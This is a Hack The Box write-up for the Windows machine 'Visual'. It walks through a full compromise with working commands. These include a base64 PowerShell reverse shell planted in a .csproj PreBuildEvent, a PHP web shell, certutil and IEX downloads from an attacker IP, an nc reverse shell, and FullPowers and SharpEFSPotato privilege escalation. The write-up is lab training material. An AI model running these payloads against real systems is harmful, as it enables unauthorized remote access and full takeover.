Visual - HTB Writeup
Machine Overview
Visual was ranked as a medium Windows Server 2019 machine, which involves abusing the PreBuildEvent and PostBuildEvent features of Visual Studio. These features are vulnerable to command injection which will be used to gain shell as Enox user. For root access, we discovered that the htdocs folder has permissions that allow the user Enox to create and execute code. We abused this permission to elevate privileges to the nt authority\local service account through the web browser. Then, we used FullPowers.exe to regain our permissions. With SeImpersonate privileges on our local service account, we performed a Potato attack. We ran SharpEFSPotato.exe, which impersonates our user’s privilege with the privileges of the admin account. Finally, we obtained root access on the machine.
User
Scanning through Nmap
First, we’ll use Nmap to scan the whole network and find out what services are running. With the -p- option, we can check all 65535 ports, and by adding –min-rate 10000, we can make the scan faster. After running Nmap, we’ll have a list of open ports on the network, and we’ll use tools like cut and tr to filter out only the open ones.
1
2
$ nmap -p- --min-rate 10000 10.10.11.234 -oN ini.txt && cat ini.txt | cut -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
80
Now let’s run a detailed scan on these specific ports using…
1
$ nmap -p80 -sC -sV -A -T4 10.10.11.234 -oN scan.txt
- -sC is to run all the default scripts
- -sV for service and version detection
- -A to check all default things
- -T4 for aggressive scan
- -oN to write the result into a specified file
Nmap scan report for 10.10.11.234 (10.10.11.234)
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual Revolutionizing Visual Studio Builds
We found that the server is running Apache 2.4.56 and PHP 8.1.17. Let’s explore what’s on port 80. Essentially, the server fetches a GitHub repository link containing a .sln file, which is a solution file used to organize a project. Visual Studio then processes and builds the project for us. Currently, it supports .NET 6.0 and C#. To exploit this, we need to install the .NET 6.0 version on our machine to create a project.
After some research, I discovered that we can exploit the built-in features of Visual Studio, specifically the PreBuildEvents and PostBuildEvents, for remote code execution. These features run PowerShell commands directly, allowing an attacker to perform actions such as NTLM theft or gain remote code execution (RCE). You can learn more about it here. Here’s the vulnerable functionality we can exploit to gain initial access
1
2
3
4
5
6
7
8
9
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<PreBuildEvent>"<Our shell Here>"</PreBuildEvent>
</PropertyGroup>
</Project>
Since the machine lacks internet access, we’ll host the exploit locally on our own server. To make our exploit successful, we need three things:
- A .NET project
- Git Repo of that project
- Hosting the repository on our local server, such as Apache or Nginx. A Python server won’t work; I’ve tried it before. Let’s begin with the .NET project. Don’t worry; you can learn how to set it up here Just ensure to create the project using version 6.0, not 7.0.
1
2
3
4
5
$ dotnet new console -o MyApp -f net6.0
$ cd MyApp
# to check if it created successfully run
$ dotnet run
Our project has been successfully created. Let’s move into the project directory and run dotnet new sln
and, after that, dotnet sln add MyApp.csproj
because we also need to add a.sln file to it. To get shell, we need to put our revshell code into the MyApp.csproj
file in between <PreBuildEvent>"Shell here"</PreBuildEvent>
. You can use the best website called Revshells.com for it. We will use the PowerShell base64 shell here.
1
2
$ dotnet new sln
$ dotnet sln add MyApp.csproj
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# MyApp.csproj
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADUAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"/>
</Target>
</Project>
Now, Lets create a git repository in our current directory and add all the files in it using commands:
1
2
3
4
5
$ git init
$ git add .
$ git commit -m 'Initial'
$ git clone --bare MyApp proj.git
$ touch proj.git/git-daemon-export-ok
Now, let’s make the project public via an HTTP server. You can learn more about this process here and here.
First, clone our repository as a bare git project. Then, create a git-daemon-export-ok file in the proj.git directory. Next, move this repository to the server. If you’re using an Apache Server like me, place it in the /var/www/html folder.
In the proj.git folder, update the server info by running git --bare update-server-info
. Also, ensure that you rename the post-update.sample file to post-update in the hooks folder. Now, our project is ready to be accessed via the HTTP server
1
2
3
4
$ sudo mv proj.git /var/www/html
$ cd proj.git
$ git --bare update-server-info
$ mv hooks/post-update.sample hooks/post-update
Start a listener on your machine.
1
sudo nc -lvnp 445
- -l for listen mode
- -v for verbosity
- -n for name resolution
- -p for specifying the local port number
Paste your git URL into the web browser so that it retrieves files from our Git repository and builds a program for us.
Let’s run it and check what happens. It is building the project for us.
Within no time, we got a reverse shell back on our netcat listener.
And our user flag is present in the user enox desktop folder.
Privilege Escalation
Let’s check what privileges we have as a logged-in user account using whoami /priv
.
We didn’t find any interesting things there. Let’s run icacls
to check folder permissions to see if we have any useful folders or files. We found a folder named htdocs
in the xampp directory that has all the permissions. The last (F) denotes that everyone has full access to this folder.
Let’s create a simple shell.php file that includes a cmd command.
1
<?php system($_GET['cmd']); ?>
Now upload it on the machine using certutil. Certutil is a tool used to manage certificates in Windows. We can use it to download files on the machine using
1
certutil.exe -urlcache -f http://10.10.16.3:8000/shell.php'
First, run a Python server on your local machine using
1
python3 -m http.server 8000
Now, upload it to the machine using
1
certutil.exe -urlcache -f http://10.10.14.59:8081/shell.php
We have our shel.php file on our machine; let’s access it on the web browser, and here we have a nt authority\local service
account.
Let’s try to get a shell as a nt authority\local service
account because with that user, we can get more permissions in the network. To get a stable and fully interactive shell on Windows, we will use the “conptyshell.” Since echo is enabled on Windows by default, we need to run
1
stty raw -echo; (stty size; cat) | nc -lvnp 3001
To get the interactive shell, which is described in the Description portion of ConPtyShell, you can learn more about it here. First, clone it to your local system and start a listener there and set
1
she.php?cmd=powershell.exe -nop -ep bypass -c "IEX(IWR http://10.10.16.3:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.16.3 3001"
After IP to get executed. Basically, it is getting ConPtyShell from our machine, running it, and trying to connect to our new listener, which is running on the 3001 local port.
All set, let’s run this and we got a shell back as a nt authority\ local service user.
Now we have a local service
account with limited permissions, but there is a vulnerability that uses the task scheduler to regain all permissions because local service
accounts have permissions to create their own tasks or schedule them, which will help us regain all our permissions. You can learn about how it works here. For this, we will use a tool called FullPowers.exe
, which is an automated way to regain permissions using the task scheduler. Download it from GitHub and then transfer it to the machine using the same method we used to transfer the shel.php
file, using Certutils. We will use example 3 from FullPowers GitHub repo, which you can get from here. Let’s move it to the target machine.
Now we have both FullPowers.exe and nc64.exe on the machine. Let’s run a listener and execute FullPowers.exe using the following command:
1
.\full -c "C:\Users\Public\nc.exe 10.10.16.3 9001 -e cmd" -z
And we got a shell back
Now we have all of the permissions back.
Now that we have the SeImpersonatePrivilege enabled, we can execute the Potato Attack to impersonate admin permissions. Since the target machine is running Windows Server 2019, we can utilize SharpEFSPotato to read files from the admin account. SharpPotato utilizes EfsRpc to access files from the admin account using the Encrypting File System Remote (EFSRPC) Protocol, which facilitates maintenance and management operations on encrypted data stored remotely and accessed over a network.
Let’s download it and transfer it to the target machine using certutil.exe. It utilizes PowerShell to read and store files. We’ll use Get-Content and Set-Content PowerShell commands to read a file from the admin account and write it to the specified destination. For this, we will use the following command:
1
.\sha.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "Get-Content C:\Users\Administrator\Desktop\root.txt | Set-Content C:\Users\Public\b.log"
We got root flag.
Flags
User : d2d043b4fa9b50….3a1b5456e130f7
Root : 09dd526550b2….02a8af13d8316354